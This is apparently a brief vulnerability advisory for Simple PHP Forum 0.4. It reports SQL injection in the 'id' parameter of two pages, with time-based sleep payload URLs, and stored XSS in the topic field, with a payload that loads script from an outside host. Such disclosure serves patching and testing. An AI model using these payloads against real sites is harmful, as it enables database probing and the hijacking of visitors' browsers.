# Author: loneferret of Offensive Security # Product: sphpforum # Version: 0.4 (older versions may be affected) # # Software Download: http://sourceforge.net/projects/sphpforum/ # Description: # Simple PHP Forum is a PHP based forum/BBS board is designed to be small, simple, # fast and allow easy integration into any existing web site. # Vulnerability: # Due to improper input sanitation, parameters are prone to SQL injection. Stored # crossed site scripting is also present in some forms. # PoC 1: # SQL Injection # Page: view_topic.php / view_profile.php? # Vulnerable param: 'id' # http://172.16.194.148/sphpforum/sphpforum-0.4/view_topic.php?id=50%27%20and%20sleep%2810%29%20and%20%271%27=%271 # http://172.16.194.148/sphpforum/sphpforum-0.4/view_profile.php?id=loneferret%27%20and%20sleep%2810%29%20and%20%271%27=%271 # PoC 2: # Stored XSS # Page: create_topic.php # Vulnerable field: Topic # Payload: <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>